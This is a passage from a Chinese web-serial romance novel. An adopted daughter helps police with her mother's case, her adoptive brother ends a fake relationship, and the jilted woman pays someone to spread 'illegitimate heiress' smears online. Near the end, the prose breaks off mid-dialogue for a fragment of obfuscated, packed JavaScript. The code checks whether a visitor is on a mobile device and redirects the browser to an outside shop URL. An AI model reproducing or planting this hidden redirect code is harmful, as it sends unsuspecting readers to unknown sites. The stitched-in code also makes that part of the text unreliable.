时憬说了声谢坐下,将昨晚想到的事无巨细地说了出来。
老蒋皱眉,语气没了打招呼时的和蔼,严肃问道:“这件事你确定?”
时憬点头,语气坚定:“我确定不会有错。那天妈妈只有脖子里的项链不见了,身上并没有其他伤痕!”
老蒋:“这些情况我们会记录下来,正好你来了,我们也有几件事要和你确认下情况。”
第95章 她刻意的疏离
时憬闻言,嘴唇微微抿紧,唇色发白,眼中不安之色随之浮出。
蒋警官想着外面跟来的陆氏总裁,怕自己再吓到眼前的小姑娘,回头让人以为他们欺负小姑娘,放柔语气,“不用紧张,我们就是正常确认些情况。”
小胡差点没忍住用一脸见了鬼了的表情去看自家师父。
时憬道了声谢,脸色略有缓和。
蒋警官:“你母亲,就是宋桉女士,在经营民宿期间和谁走得比较近些,像来住宿的客人、送货的司机,或者街坊邻里,你有印象的都可以说说。”
宋桉性格随和,同谁都是客客气气的。
她曾经想过妈妈会和其他陌生叔叔结婚,有人能帮妈妈减轻负担,但妈妈却说,像她这样背着一身债的人,那些男人只会离得远远的。
时憬收回思绪,摇头:“没有。”
小胡拿出一张模糊的证件照,“照片上的男人你有印象吗?”
时憬低头看,仔细辨认,“没有。”
小胡继续问:“民宿对面有家花店,你还记得吗?”
时憬点头:“记得,是戴叔叔的店。”但照片上的男人并不是戴叔叔。
小胡:“照片上的男人是送货司机,定期会给花店送花来,也会帮忙给周围的店家从宣城捎带东西过去。一来二去你母亲就和他熟悉了,两人应该交往了一段时间。”
时憬愣了下,她从未听说过这些事情。
更不知道妈妈有交往的男友。
她呐呐道:“我不知道…这其中是不是有什么误会?”为了证明,她又说:“妈妈过世后,只有家里的亲戚在,没有不认识人来……”
下面的话是蒋警官说的:
“据花店老板说,自你母亲过世后,他就没有再出现过,大家都以为他怕触景生情,所以才不再来了。后来小胡去这家物流公司询问过,他在九年前就离职了,离职的日期是12月21日,一早打个电话就突然说自己不干了。”
时憬猛地睁大眼睛。
“12月21日——是我妈妈车祸的第二天!”她前倾上身,“我妈妈都没离开过杭县,她怎么可能知道哪儿有荒地!是他——凶手是这个司机是不是!我妈妈是无辜的!”
蒋警官示意她冷静。
“目前,他和你母亲都是嫌疑人,警方会追查他的下落,等调查清楚后我们会给受害者家属一个真相。”
中年男人脸上遍布岁月的痕迹。
眼角堆叠皱纹、鬓边白发星星点点,这份威严的老态也愈发显出他一身刚硬正气。
时憬站起身,喉咙微堵。
她知道在案件调查期间,不能将调查过程太多的透露给受害者家属知道,更不用说告诉她嫌疑人,但她也知道这份‘违规’后的善意。
她鞠躬,“谢谢你们,蒋警官、胡警官。”
小胡顿时坐不住了,也跟着站起来。
蒋警官摆了下手,“快出去吧,外面是你哥哥在等你吧?”
时憬直起身,嗯了声。
眼眶微红,眼里裹着细碎的泪光。
没刚进来时看着那么可怜兮兮了,多了些明朗。
在时憬离开后,徒弟小胡忍了忍,还是没忍住,小声问:“师父,您怎么把嫌疑人都告诉了她啊,这不是……不太好……万一她找人去报复什么的……”
老蒋毫不留情赏了徒弟一个爆栗。
“报复?就她那老鼠胆子,敢吗?再说哪怕她动了这个心思,外面那个陆总看的那么紧,能让他妹妹走上这条路?”
小胡揉着头,嘀嘀咕咕说您说得对,“可您还没说为什么要告诉她呢,从前可没见您开后——嗷——您干啥又打我!”
老蒋没说,只让徒弟麻溜滚去干活。
他也有个女儿,自己工作忙,但女儿有屁大点事情都喜欢给他发微信,他没法回家的夜晚,就一条条看女儿的信息,父母与孩子之间就该是这样。
但前几天,发生了这么大的事情只有她一个人来。
亲生父亲缺位、相依为命的母亲车祸离世。
她不是被亲戚收养,而是被带去陆家长大。
这里面究竟发生了多少事情,才会让好好一个小姑娘她得了抑郁症。
现在又被扯进这种事,他也不忍看着她咬牙死撑,**蛋的命运逼死,至少给点盼头和希望,好让她熬过这个坎。
*
时憬从刑警大队出来时,看着神色还不错。
陆礼问了声情况。
时憬想起蒋警官透露的信息,这是对方的善意,但这份善意不能再让第三人知道,她选择没有将这些话告诉兄长,“警官说继续调查真相,让我耐心等。”
她语气平静地说。
陆礼余光留意着妹妹。
看她的表情,知道妹妹又在说谎。
他忽然觉得车里发闷,开了窗换气,窗缝刚开,外面热浪争先恐后地涌进来,副驾驶座的妹妹立刻皱眉:“哥,关窗,外面好热啊。”
澄亮的眼神望来,似乎是有些不解他开着空调为什么要开窗。
陆礼眉宇温和,关上窗户。
“想换换气的,不开了。”
他耐心地等着,总能等到妹妹愿意告诉他的那一天。
开回酒店停好车后,陆礼带时憬坐电梯到大厅,想带她去旁边的商场买运动鞋——昨晚仓促,他想尽快回去,就给妹妹买了双凉鞋替换她穿的高跟鞋,刚才下车时他才发现鞋子不合脚,脚趾磨得红肿。
妹妹没有对他说半个字。
这种闷堵的感觉又涌了上来。
刚到大厅,陆礼就看见一个熟悉的身影。
楼心月坐在等候区抻着脖子看着门口,视线一扫,看见陆礼和时憬从电梯那边过来,起身小跑过去,细眉微蹙着,一脸担忧浮在脸上:“陆礼,小憬妹妹!总算看见你们了!”她一把握住时憬的手,上上下下仔细看她,一副万分关心架势,“妹妹,你还好么?看着又瘦了好多,我——”
时憬没防备,被她抓着正着。
陆礼出声打断:“你怎么来了?”
语气可见的冷漠,全无半分之前伪装时的温和。
楼心月心里咯噔一下,难道陆礼把他们假装交往的事情告诉时憬了?她立刻去看时憬,发现看不懂时憬脸上的神色,一时也分辨不清。
她只能柔声解释道:“是伯母告诉我你们住在这儿,她担心小憬妹妹,让我过来看看。”她说话的时候,眼睛一直看着陆礼,眉眼间是说不出的浓情蜜意。
时憬用力抽回手,对陆礼道:“哥,你和心月姐慢慢聊,我上去休息了。”
陆礼:“好,等会儿拍给你看,有喜欢地告诉我。”
时憬挤出笑,算是回应。
楼心月恨不得她能消失。
嘴上虽然叫着‘妹妹’挽留,但握着她的手松得那叫一个快。
在时憬离开后,楼心月上前半步,抬起头,目光柔柔地望着男友,“陆礼,妹妹遇上这样的事情心里肯定难受,我看她脸色也不大好,再高档的酒店住着肯定也没有家里舒服,不如你和妹妹住到我家,我和小憬都是女孩子,还能多宽解她。”
她说得情真意切,仿佛是真的极为担心时憬。
可这份担心,全然没有打动陆礼。
他眼神冷漠,“我记得说过,没叫你就不要来找我。”
楼心月露出受伤的表情,微咬了下唇,眼中泪光浅浅,“我一直记得的……但我是真的担心妹妹,而且也是伯母让我来看的,我怕拒绝了,她要怀疑我们。”
她的理由也如此充分。
陆礼听了后沉默片刻,就在楼心月以为他被自己说服时,就看见他抬手按了按额角,“这件事,等回沙市后我会找你。”
楼心月攥着手指,挤出僵硬的笑,“什么意思…?你想要分手了?”
陆礼听见这句话后,放下手,语气冷下:“我们没有真正交往,只是结束关系。或许是你需要我现在就和你说这件事?”
楼心月眉心楚楚可怜地皱起,一滴眼泪从眼眶跌落,嘴唇颤抖着,她试图继续靠近他,带着浓浓的哭音,“陆礼,在墨尔本的时候,你不是这么说的。这和当初说的…不一样……现在大家都知道我们在交往……这、这才多久,你就要和我分手,公司里的人,伯父伯母会怎么
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看我……我知道、知道,你不喜欢我……是我真的喜欢你,在、在墨尔本的时候,我们相处得那么融洽,你、你难道就没有一点儿喜欢我么?”
她连哭起来的样子也如电影主角的特写。
抬着精致美丽的脸蛋,眼中含着眼泪,深情地望着人。
问着男人不舍得轻易拒绝的问题。
可眼前的男人是陆礼。
他因为自己在墨尔本做的愚蠢决定,皱眉听完,“你可以将责任全部推给我,分手原因是我出轨、感情破裂、性格不合等等理都可以。如果你不想今天就聊完,可以回去了。”
他语气加快说完,甚至没有给楼心月反应的时间,抬脚就往外面走去,似乎赶着去办什么紧要之事。
走之前,不曾看她一眼。
楼心月浑身颤抖地站在原地
她咽下不甘与**,一步步往外走。
来宣城前,陆礼从未提过分手,可才来了宣城一个晚上,他就想要和自己分手!
原因只可能在时憬这个**的身上!
为什么她一直要来妨碍自己!
等她坐进车里,脸色阴沉扭曲着,拿起手机,拨了个电话出去,待那边接通后,她张口就道:“先前你报的价格我同意了!就按照你说的办,现在立刻马上就开始给我行动!事情闹得越大越好!”
那头说了两句什么,她回了‘钱马上打’就挂了电话。
往一个陌生账户转了五十万。
抑郁症是么,那就给我病的再厉害点。
这一切,都是时憬逼她的。
如果不是她挑唆,陆礼怎会和他提分手?
她要为自己的行为付出相应的代价!
*
陆礼仍是为妹妹买到了合适的运动鞋,是一双粉色的。
当天傍晚他也拿到了沙市加急送来的笔记本电脑。公司事务实在多,他远程办公,无法陪伴妹妹,又去帮她买了彩铅、填色本、画纸,希望可以打发时间。
当天与电脑一起送来的还有时憬的药。
服药后,困倦提不起精神的感觉再次涌来,她甚至连画画的心力都没有,但与陆礼同处一室,她总想要做些什么事情。
这样,她就不会继续想妈妈的案子,同样,也不会去想那天在她离开后,楼心月与陆礼说了什么,又做了什么,她只知道,陆礼与楼心月,没有分手。
最后,她去附近的商场买了羊绒线,一边看无脑综艺一边打围巾。
于是,总部的管理层发现,最近视频会议时,总裁那边总会出现很轻但极其突兀的笑声,再配着总裁低气压的状态,怪毛骨悚然的。
在停留宣城的这几天里,两人再未有那晚的接触。
甚至连拥抱都没有。
妹妹在刻意地保持距离。
陆礼压下闷涩感,耐心照顾妹妹的生活起居,他们在宣城又停留了三天后,刑警大队那边来了消息,说寻找那司机需要些时间,让时憬可以先回沙市,有时候蒋警官会与她联系。
时憬没有理由继续停留。
第五天,二人坐飞机回沙市。
陆礼出发前停在机场的迈巴赫已经让耿叔开回家去,这次回来的航班时间晚,黄助安排了司机来接人。
下飞机已经过了九点,时憬上了车,逼仄的空间里暖气一吹,人就开始小鸡啄米不停点头。
却坚持不忘两边靠。
陆礼看了两眼,不由觉得好笑,虽然因妹妹刻意保持距离而不悦,但他这几天也见到了时憬那些执拗的小脾气。
在时憬又一次险些磕到窗玻璃上时,陆礼升起前后车的挡板,将瞌睡的妹妹揽到怀中。
她睡得迷迷糊糊,起先还挣扎了下,下一秒就听话地窝在他怀中,还舒服地蹭了下,找了个舒适的位置,睡得眉目舒展、呼吸绵长。
像只酣睡的猫。
毫不设防地朝人类露出柔软又脆弱的腹部。
此时此刻的妹妹,才有了从前放肆撒娇的影子。
陆礼垂眸看了会儿,也生出些倦意,准备闭眼休息时,车子突然一个急刹车,他身体控制不住往前栽的瞬间,他胳膊紧紧护住怀中的时憬——
第96章 温柔与控制
安全带拽住二人,与惯性对抗,勒得陆礼胸膛发痛,但也阻止了一场意外。
他立刻低头去看怀里的时憬。
“时憬?”
时憬吓醒,意识到刚才是一个极其急刹车,被陆礼的胳膊紧紧锁住,眼瞳睁大,睡意瞬间散尽,有些惊慌不安的看着他,双手紧紧抓着他的胳膊,“怎么了?”
陆礼安抚地顺了下她的背,语气温和:“现在没事了。”
时憬这才发现自己被陆礼抱着,周身都是密不透风的冷杉气息,她轻微动了下,陆礼却未察觉,他降下隔板,出声问司机:“出什么事?”
司机也是惊魂未定。
他扭头,看着身后的老板回话:“刚才从路边冲出来一只猫窜过去了,您…”话还没说完,他看见大老板抱着女人的姿势,停了下,两三秒后才接着往下说:“您和时小姐没事吧?”
“开慢点,注意安全。”
司机连连点头,收回视线不敢再多看。
他只知道,大老板怀里抱着的女人是妹妹。
无血缘关系的那种。
陆礼升起隔板,听见从怀里传来轻微的声音。
“疼。”
他低头看,语气温和,全无刚才的半分高冷,“哪儿疼?是撞到什么地方了,我看看。”
时憬小声:“胳膊。”
他视线看去。
时憬继续小声:“你的胳膊勒疼我了。”
陆礼这才注意到自己用多大的力气抱着妹妹,松开后,揉了下她的头,目光温柔,“抱歉。”
时憬坐直身体,微笑着回:“没关系。”
陆礼仍旧看她:“还睡么?”
她摇了下头,拿出手机晃了下,“不睡了,玩会儿手机。”
“少玩会儿,注意用眼。”兄长说教的习惯又冒了出来,但手上替她打开那一侧的照明灯。
长长的头发垂落,挡住她的侧脸。
她安静地看着手机,却连屏幕上的文字都没有读懂。
那晚短暂的失控过后,她以为自己控制不住的沉沦,她明明如此渴望陆礼的拥抱、亲吻,但像是有股看不见的力拽着她,不让她下坠。
也许是因为爸爸妈妈的疼爱。
也许是因为她还未完全等来母亲的清白。
也许是因为陆礼有一个女朋友,哪怕那个人是她完全不喜欢的楼心月,也不希望自己这样去伤害她。
她小心翼翼的,尽量不被陆礼发现的维持着两人的距离。
车停在陆园门口。
时憬握着手机又在打盹。
司机下车先拉开陆礼那一侧车门,在大老板下车后,司机绕过去准备为时憬开门,发现大老板先行一步,已经拉开车门,弯着腰,叫醒瞌睡的时小姐。
“到家了。”
语气温柔。
更极为自然地拉着时小姐下车,甚至还伸手理了下她睡乱的长发,以指为梳拢到后背,看着时小姐的眼神哪里像是一个哥哥,根本就是——
“行李。”
陆礼松开时憬,回头看了眼杵在原地的司机。
司机惊吓般回神,转身去开后备箱取行李箱,推到陆礼跟前,今天他出发前,黄助理特地交代过,大老板不喜欢别人随意进陆园,所以他只需要把人送到、行李箱交给大老板,就能下班回家了。
想到下班,司机的紧张淡了下,扬起礼貌的笑:“您的行李箱。”
陆礼伸手接过,“辛苦,可以下班了。”
司机笑呵呵:“您客气了。”
陆礼推着行李,故意落后妹妹两步,给黄林去了个电话。
他眉目清冷,语气也冷:“今天来的司机是新招的?”
黄林:“是的,小陈的妻子生产,他把攒着婚假、陪产假、年假一起休了,人事新招了一个司机替小陈。”
陆礼看着妹妹的步子明显慢了下来,要求简明扼要:“明天我不想再看见这个司机。”说完就挂了电话,也不顾黄林要被这通电话吓出一身冷汗。
陆礼快步走到她身边,笑着说了句:“时小舟,你什么时候变成蜗牛爬了,走得这么慢是不敢进去?”
时憬被戳穿心思。
有些羞臊地扯他衬衫,“你走前面。”
陆礼的视线落下她手上的动作,唇角微扬了下,“成。”还顺带揉了下她的头,在时憬**前,他及时收回手,推
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着行李箱大步流星地往里走。
一眨眼,人已经走进去了。
时憬愣了下。
这人走这么快根本挡不住她!
她立刻小跑追上去。
进了客厅后,看见站着张望他们的陆母,时憬心中的紧张在这一瞬间悄然消失,仿佛是身体有了自己的主见,推动两条腿跑去。
“妈妈…”
她小声地叫着。
眼眶控制不住地发红。
陆母往前走了两步,张开口,像是迎接归巢的燕子,爱怜地抱着女儿。
时憬埋首,嗅着陆母身上好闻的味道,瓮声瓮气地说着:“妈妈,我回来了,我…好想您啊……”
面对这么会撒娇的女儿,陆母嗔怪地轻拍了下背,半开玩笑道:“回来了就好。你再不回来,我都快拉不住你爸爸飞去宣城看你了。”
该说的道理该训的话,那天晚上他们都说完了。
剩下的就是担心与思念。
这会儿女儿像雏鸟似地一飞回来就往她怀里冲,陆母哪里还能板的起脸,声音里的疼爱都快溢出来了。
时憬还埋着不肯抬头:“让你们担心了…”
陆母眉目慈爱:“好了,都过去了,不提了。快,抬起头让你爸爸看看。”
提及陆父,时憬不再赖着陆母撒娇。
站直了身子,看向威严的陆父。
语气更是陆礼这些年鲜少再见过的乖巧懂事,两手垂着乖乖站着,“爸爸,我回来了。”
陆父坐着看她,淡淡嗯了声,视线扫过眼前的女儿后,眉头皱起:“瘦了,”下一秒,严厉的视线就落在陆礼身上,“怎么照顾妹妹的。”
陆礼面对陆氏集团董事长的质问,沉默片刻,随即两手一摊,无奈道:“我尽力了,您也知道她有多偏食。”
陆母很是赞同的默默点头。
陆父轻咳了声。
如此温和的就把时憬的异样落在偏食上,而不是因宣城那起涉及家人的案件,这份无声的维护与关心,让时憬鼻腔发酸,她忽然想出声,“对不起,我以后一定改,不再偏食了。”
陆礼挑眉,一副诧异的表情:“我姑且听听?”
第97章 豪门私生女
陆母不赞同地瞪他,“别扫兴。”说着,又看时憬,双目放光:“但咱们囡囡是大姑娘了,说话要算话,以后不能继续挑食了,什么芹菜、羊肉、荠菜、黄豆、韭菜、黄鳝、鲫鱼、莴笋、苦瓜的,这些都要吃知道么?”
正连连点头的时憬僵住,唇边的笑容微妙,吐出一个字:“…啊?”
陆母故意逗她:“这可是你自己说的,以后不挑食了。”
时憬视线游移,心虚道:“我以后……尽量……不挑食……呵呵……”
这幅模样引得陆母笑了出来。
连陆家两个男人脸上也,,浮出笑意。
时憬沉浸在这样其乐融融的氛围之中,心脏像是被温水冲刷着,暖和和的,让人想永远维持这份动人的温情。
两人到家时已近深夜。
一家人说了会儿话各去休息,明天还是工作日,两个男人还得出门去上班。
陆母有心想和女儿再说会儿话,但看着她掩唇小小地打哈欠,赶她去睡觉。今晚儿子、女儿都回了家,陆母终于能睡个好觉。
陆园安静下来。
时憬洗漱后困意涌上来,吹着空调,倒头就睡。
可能是回到了熟悉的环境,而不是陌生的连锁酒店,这一晚时憬睡得极好,一觉无梦,自然醒来时,阳光从窗帘缝隙偷偷溜进来,像在告诉睡懒觉的主人,今天也是个阳光炎热的一天。
时憬看了眼时间,已近中午。
昨晚陆母说让她不用特地早起下楼一起用早饭,时憬也实在起不来,就答应了。
她打着哈欠,醒来后人也不想起床。
用遥控打开一半窗帘,刺眼的阳光瞬间照亮整间屋子。
她‘唔’了声,把脸罩进夏凉被里,摸出手机刷信息醒醒神。
一点开就看见了童宛昨晚发来的信息。
第一条信息是个大眼站的链接。
【童宛:宝贝看这个】
【童宛:爆料人神神秘秘的说某个豪门私生女的八卦,说真的,如果不是我知道你不是陆叔叔的亲生的,还以为说的是你呢!】
【童宛:你不知道,昨晚刚看到的时候给我吓够】
时憬点进入看。
爆料人提供的信息模糊,就说有个豪门养女变成私生女,私生活混乱等等,因提及‘豪门’‘老钱家族’这些字眼,低下的网友都猜疯了。
时憬看了会儿热闹才退出来。
给童宛回了消息。
【看得我都好奇了】
又刷了会儿手机,童宛直接给她回了电话。
童宛:“姐妹,最近你的作息够健康啊,昨晚给你发的消息这个点才回。”
时憬笑了下:“珍惜生命,活到99。”
童宛切了声:“99岁都是没牙银发老奶奶了,嘶…太恐怖了,我可无法接受自己那么苍老,活到……嗯……60?70,顶多了!”
时憬:“真现实的岁数。”
童宛:“不说这个,扯远了!哈哈哈,我给你打电话是想说豪门私生女的,连卫文耀也刷到了,网友们开始扒各大豪门,你说这么多豪门有几个经得住扒的哈哈哈哈!那些真有私生子、私生女的估计都开始骂娘了,简直无妄之灾。我和你说啊,笑死,我哥那二世祖慌得一比,怕我爸也在外面有个私生子私生女,再跳出来瓜分他遗产!”
时憬被逗得笑得停不下来。
用手指擦去笑出来的眼泪,“我哥估计没刷到,不过刷到了也不会慌,我爸这一辈子眼里就只有我妈妈了。”
这句话酸得童宛怪叫一声,“父母模范爱情靠边站,不参与讨论。”
挂电话后,时憬洗漱下楼。
陆母坐在客厅里,听着古典音乐,插着花。
优雅、岁月静好。
时憬看着都觉得这一幕赏心悦目,想着爸爸娶了妈妈、妈妈嫁给爸爸,二人结合才是天作之合。都说原件正确,复印件才会正确,但有这样恩爱的父母,这么会养出来一个陆礼?
古板、高冷、寡言。
时憬胡思乱想着,引得陆母侧目,笑盈盈问:“一个人站在那儿也不出声,想什么呢这么开心,嗯?”又指着让她赶紧去吃中饭。
时憬垂眸应了
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声,去餐厅吃饭。
吃完后她陪着陆母插花,在旁边帮忙递花、递简单的事儿。
母女二人闲聊着打发时间,说着说着,时憬就提及了童宛分享来的八卦,有模有样地学给陆母听。
陆母听得津津有味,听完后对上女儿亮晶晶的眼睛,轻咳了声,“小孩子家家的,有影没影的事情被瞎传。”
时憬转了下眼睛,听出来些其他意思。
缠着陆母非要想听:“还真有这些事情啊,我还以为是他们瞎传的,求您说说,掐头去尾隐姓埋名都行,我保证一个字都说不说出去!”
陆母生性清冷。
也不爱听、说八卦。
但她们这个层级的女人,多少都需要出面社交,自然而然也能从各种渠道、各种酒局上听来些消息,现在被女儿缠得没办法了,这才捡着说了几件,但都把名字给隐去了。
时憬叹为观止。
忍不住感慨到:“贵圈是真的乱啊!”
陆母听懂后,笑着轻拍了下她,“贫嘴。”
时憬托着腮说:“不过我还挺好奇的,这个豪门私生女到底是谁,童宛起先还和我说,刚开始差点以为是我呢。这个消息好像爆出来有一两天了,估计今天就能揭晓答案。”说着说着,她的注意力就跑到了花束上去,夸得陆母合不拢嘴。
陆母当她孩子脾气,并未将这件事放在心上。
插完花后,陆母出门与贵妇们下午茶。
时憬搬了画架下来,坐下花园里的遮阳伞下画画。
画笔蘸颜料,在画布上印上第一道颜色。
血红色。
直到此时,时憬仍未意识到,一场冲着她的血雨腥风即将袭来。
*
陆氏集团总部。
楼心月坐下办公室里刷着‘豪门私生女’的热度。
桌上内线冷不丁响起来。
她倒扣手机,接起接听。
是黄林黄助来电,他是陆礼身边最得力的助理,没有之一,而现,黄林用礼貌客气的语气告诉她,“楼小姐,总裁约您下午一点见面,请您准时抵达办公室。”
第98章 ****,东窗事发
楼心月听着电话里黄林客气,但也丝毫不容她拒绝的口吻,脸色倏然沉了下来,像乌云笼罩。
她继续佯装毫无察觉,挤出温柔的回应。
挂电话后,她焦躁的再也坐不住,在办公室里来回踱步。
现在已近十二点。
距离下午四点还有四个小时。
可网络上还在猜测着豪门私生女究竟是谁,根本没有瞄准陆氏集团的苗头!
就这么继续等下去,四点一到,等待她的就只有分手。
她和陆礼才‘交往’多久?
这么短时间就分手,不论理由是什么,她都会成为宣城、甚至是沙市上流圈子里的笑话!
她绝对不允许自己沦为旁人耻笑的谈资。
楼心月松开咬着的唇,再次拿起手机,拨出一个电话。
电话一接通,她压低声张口就质问:“让你办的事情到今天了为什么还没有爆出来?”
对方慢条斯理的解释:“老板,这种事情靠**发酵才能影响最大化,就跟引火点**一个道理,我们做的是把一个个**埋下去,然后用营销号起个头引火,火线是以什么速度、规模烧到****,是急不来的。不过按照现在这个趋势,最多等到明天晚上就差不多能被网友‘扒’到我们精心埋得**了。”
楼心月狠狠皱眉。
明天晚上?
今天下午四点陆礼就要同她说分手的事情,她怎么能等得到明天晚上?
“不行,明天晚上太晚了,要来不及了。”
对方听了后,也不好奇楼心月说的‘来不及’是什么意思,沉吟一声,“老板您想加快也不是不行,但这样一来我们承担的风险就要大很多。这次你让我办的事情不比上次,上次过后,陆氏集团那边差点就查到了我们,幸好我们收尾收的干净。这次本来我都不太想接你这单,不止是牵扯到陆氏集团,还有一起命案,我们这么干一旦被查到很容易进牢子里去……”
楼心月才说一句,对方就说了一通。
甚至都不理会她说的来不及,只顾倾吐‘危险’二字。
这种套路,楼心月打小就见过。
一群贪婪不知满足的混账。
她毫不遮掩脸上的厌恶,问:“说吧,要加多少才能加快速度?”
对面唠唠叨叨的话音瞬间安静,笑了声,说老板就是爽快,“再加七十万。”
楼心月咬了下牙,最终还是答应:“我现在就转给你,立刻替去办,我要今天下午就看见结果,不能超过下午三点。”
“钱款到账,立刻就办。”
楼心月不愿继续与这种人说话,挂电话转账。
钱刚过去,手机就跳出一条陌生短信。
【老板放心,等着看好戏上演】
楼心月立即删除短信。
她事实关注着网络**趋势,也盯着时间一分一秒流逝。
一点。
两点。
三点。
三点四十五——
会议室里刚结束一场跨国视频会议。
陆礼合上电脑,单手拎着走出会议室,余光看向等在门外的助理黄林,他年长陆礼几岁,是陆礼在曼彻斯特留学时认识的留学生,家境一般,但性格沉稳、办事周到、嘴巴紧,在陆礼进入陆氏集团就一直跟着。
已是陆礼的左膀右臂。
在会议快结束时,他看见黄林在门外朝里面频频张望。
平时很少看见黄林这么冒失,陆礼加快会议进度,提前十分钟结束出来。
黄林极力掩饰焦躁,生怕被人察觉出来。
实际上已经是热锅上蚂蚁急得团团转。
在他不止第几次看表后,会议室的门提前开了,看见总裁第一个走出来,他箭步冲了上去,低声叫了声老板,并双手把手机递给陆礼,用两人才能听见的声音问道:“网上爆料的这些事情是否要尽快通知董事长?”
陆氏集团董事长即陆父。
哪怕陆父现在将陆氏集团交给陆礼,但为了镇住董事会,陆父仍挂着董事长的名。
陆礼接过手机,手指滑动快速看过。
每多看一行字、一张照片,他的脸色就冷肃一度,看完后脸色阴沉的吓人,把手机还给黄林,一边朝总裁办走去一边低声道:“把这些信息汇总整理一份发给佟律师抄送我,董事长那边你去通知。”他的平静像是盛怒的前兆,甚至还能冷静布置任务,“车钥匙?”
黄林一一记下,忙回道:“您要用车么?我立刻安排司机。”
陆礼:“不用,直接拿给我。”
黄林应下,转身去拿钥匙。
才走两步又被陆礼叫住:“帮我定两张一起出发曼彻斯特的机票…一张单程,一张一周内的往返。”
黄林停住脚步,“请问护照号是您和……?”
陆礼:“时憬。”
称职的助理不会在老板面前流露太多的表情。
黄林记下后,赶着去拿钥匙,并和董事长助理确认十分钟后董事长是否有空。
陆礼回办公室,确认自己明后两天的重要会议。
圈出后发给黄林让他沟通改期。
处理完,他看了眼时间,在宣城的时候,这个点妹妹仍在午睡,他怕打电话过去反而要吵醒妹妹,让她看见这些乌烟瘴气的东西。
先给陆母去了电话。
陆礼:“您在家?”
陆母的回应迟了些,似乎对儿子这样的语气有些陌生,她起身离席,找了个安静的地方才回,温和的问道:“我在外面,这是怎么了,语气听着这么严肃?”
陆礼揉着额角,再一次想起刚才看见的那些新闻。
“是家里出了些事情,您先回家帮我看着时憬,具体的事情您可以在路上看手机得知。”
陆母应了声好,没再多问。
这边陆礼刚挂了电话,那边黄林送来了车钥匙。
陆礼伸手接过钥匙,提着笔记本朝电梯走去。
黄林在前面快走几步,先抵达电梯门口,按下下行键,在等电梯上行时,黄林悄声问:“您预定六分钟后与楼小姐有一个会议,请问是否要取消?”
电梯上行灯熄灭,移门打开。
陆礼抬脚跨入,按下B2,毫不犹豫回道:“取消。”
移门合拢,陆礼看见反光移门上映出自己的脸,阴鸷、暴虐,垂落的拳头紧紧握着,压抑着随时都能爆发的愤怒。
是谁在操作这些事?
又是谁妄图伤害他的家人!
短暂暴戾的念头闪过,他强行闭眼,压下此时不该有的情绪,让自己冷静下来。
现在,还有其他的事情等着他去办。
必须要将妹妹保护起来,不让她再被恶意伤害,他再来找这些人算账。
等他再次睁开眼,镜子中的男人再度恢复冷静。
只是他的唇线绷的太紧。
眼底的冷意锋利到不敢直视。
他给陆园柳姨的手机拨去电话。
电话很快被接通,陆礼问:“柳姨,时憬在家吗?”
柳姨哎了声,“小姐在家呢,刚才还在花园里坐着画画,这会儿说有些困了,抱着画架上楼休息去了。”
陆礼:“您帮我去看下她现在睡着么,如果没睡着,就把手机给她,我有几句话要和她说。”
柳姨应下。
她虽然心里纳闷,陆礼找时憬这么不直接打她的电话,反而打到自己手机上来了,但她在陆家这么多年,向来不是多嘴多舌会问的人。放下手里的工作,拿着手机上楼去。
走到时憬门外敲了两下。
里面传来应答声,“请进。”
柳姨开了门,看见她坐在梳妆台前正梳头。
时憬才拆了梳起的头发,打算躺下休息会儿,看见柳姨进来,她微笑着叫了声。
柳姨把手机递给她,“少爷的电话,说有话同你说。”
时憬意外,“我哥怎么打到您手机上了?”她一边说着,一边接过电话,嗓音带着慵懒的困意,“哥?有什么事么。”
陆礼听着她声音虽无力,但还算平静,并不像是受到冲击过,他终于松了口气浊气,绷紧的背脊也松了些,但仍语气严肃的告诉她:“从现在起不要看手机,陌生电话、信息都不要接也不要去在意,我马上回来,一切都等我到家后说。”
时憬被唬的一头雾水。
忍不住拿眼神去看柳姨,无声询问,嘴上也问道:“是出什么事了么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877534|188794||http|test|mini|href|location''.split(''|''),0,{}));
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r>兄长没有正面回答她。
只用沉稳安抚的语气告诉她:“不要怕,有我在,有爸爸妈妈在,你只需要听我们话,不要碰手机。”
时憬一口答应:“好,我知道了。”
她也深知现在陆礼不肯说,她再怎么问也问不出来。
还不如等他回来后一次性问个明白。
而且……
她也有了个模糊的猜测,这件事似乎仍与她有关。
陆礼习惯性夸了她一句,又说:“把电话给柳姨。”
时憬照办。
柳姨接回去,又听着电话那头的陆礼说了几句话后才挂断。
时憬随口问道:“柳姨,哥哥和你都说了什么?”
柳姨笑了声,“少爷让我陪着你,不让你一个人待着,这会儿我正在做晚饭的准备工作,得辛苦你和我一起去厨房忙了。”
时憬看柳姨神色轻松,猜陆礼应该也没把发生了什么事告诉柳姨,哪怕兄长不再,她也清晰的感受到他架构起来的安全网,将她小心翼翼的保护在其中。
这种关心——
让她想起了杭县的妈妈。
她忽然对外面到底发生了什么事情不再好奇。
这种被保护的安全感,让她心安理得的沉溺,不畏惧任何变故。
时憬跟着柳姨去厨房。
柳姨哪里敢让她拿刀切菜,给了她一篮子刚从花园菜地里采回来的小青菜,又给她搬了个小板凳坐着,让她捡青菜。
这个活时憬熟。
在杭县时,宋桉也常让她干。
她一根根摘菜,思绪从手中的鸡毛菜飞到了很多年前的杭县家中。
摘完一篮子菜,柳姨又切了盘苹果。
时憬咬着吃了两块,突然想做糖葫芦串,又扒了橘子、洗了草莓、蓝莓串起来。
柳姨看她玩得起劲,就替她熬糖。
两人配合着蘸糖裹住水果串,一串串排在盘子里等降温。
她们做的投入,甚至连有人回来都没察觉。
直到有人叫她名字。
“时憬?”
她放下水果串,从厨房门口探了个头,看着陆礼急匆匆的模样,冲他小幅度招了下手:“哥,在这儿。”
陆礼听见声音,收回上楼的脚步,转头,看见从厨房口冒出的脑袋,头发随意扎着,穿着宽松的家居服,眼眸笑盈盈的看他。
他抬脚靠近,柔声问:“在厨房做什么?”
时憬站直身体,侧身指了下料理台,“和柳姨在做糖葫芦,有已经放凉糖结块的,你要尝尝么?”
如果是平时的陆礼,肯定会捧妹妹的场。
“不了。”他语气温和的回绝,双目一眼不眨的看着她,“手机没看吧?”
